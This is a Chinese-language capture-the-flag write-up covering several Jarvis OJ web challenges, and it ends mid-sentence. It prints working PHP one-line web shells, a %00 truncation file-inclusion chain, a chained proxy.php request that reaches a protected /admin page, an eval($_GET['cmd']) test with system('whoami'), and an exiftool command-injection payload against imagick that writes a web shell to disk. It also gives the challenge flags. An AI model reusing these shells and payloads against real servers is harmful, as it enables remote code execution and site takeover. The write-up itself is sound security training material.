首先看到奇怪的url,尝试文件包含,但是发现并不是
/尝试了文件上传,结果发现居然检测文件MIME内容…
尝试文件木马,未果…并不能执行。。。应该时该位置不能支持运行jpg文件(上传图片木马并没有被过滤)
通过上传了文件之后可以得到图片文件的路径
http://web.jarvisoj.com:32785/uploads/1504147663.jpg
- 1
然后我们想,如果在uploads文件夹中不能运行jpg文件,那么之前我们失败的文包含件可否包含上传的图片!?尝试一下
然后我们可以用%00进行截断
成功了
然后构造图片木马,用类似http://web.jarvisoj.com:32785/index.php?page=uploads/1504147663.jpg%00
去包含
上传<?php eval(system($_POST['cmd']));?>
发现出现
应该时一句话木马被检测了出来吧,找找一句话木马的不同东西,猜测过滤
<?
使用小马
<script language="php">@eval_r($_POST['cmd'])</script>
- 1
直接莫名得到flag
CTF{upl0ad_sh0uld_n07_b3_a110wed}
- 1
Chopper
首先看到页面
查看一下图片的来源
看到这个心理一紧,会不会时远程的文件包含?
然后抓一下到admin目录的情况
一开始想的是加个X-FORWAREDE-FOR 头部完了,但是远远不是这样的,然后再观察proxy.php,应该就是远程的文件包含了,这里本地实验一下
构造如下
//1.php和2.php<?phpecho file_get_contents($_GET['file']);?>3.php<?phpeval($_GET['cmd']);?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
然后本地实验一下
localhost:8080/1.php?file=http://localhost:8080/2.php?file=http://localhost:8080/3.php?cmd=system('whoami');
- 1
可见是有效果的!
那么我们构造中间代理,用第一层proxy访问103.27.76.153下的proxy,再间接访问/admin目录!当然,有这个想法确并没有办法扫描 http://103.27.76.153/的目录,因为都被403了…
猜测就是proxy.php。。。(参考action的路径,实在不会猜测)
看了大佬们的做法,构造poc如下
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
- 1
- 2
好歹和猜想差不多…但是题目本身貌似挂掉了…没法做…后就是大同小异了,扫描目录,得到文件内容直接利用shell拿到flag即可,后面没什么大意思,但是这个远程文件包含亮了
CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}
- 1
图片上传漏洞
这个题目很好玩,之前没有接触过类似的东西…各种传统的文件上传没法绕过之后,参考了大牛的wp,发现是一个CVE ,利用的php的扩展工具imagick的漏洞
直接参考一篇文章,上面讲的比较详细,我们所使用的是其中的本地文件读取的部分
https://www.2cto.com/article/201605/505823.html
主要构造的payload如下
exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > /opt/lampp/htdocs/uploads/y.php; \"" 1.png
- 1
然后上传文件的时候需要注意需要filetype=show或者filetype=win,原因就是文章中原话: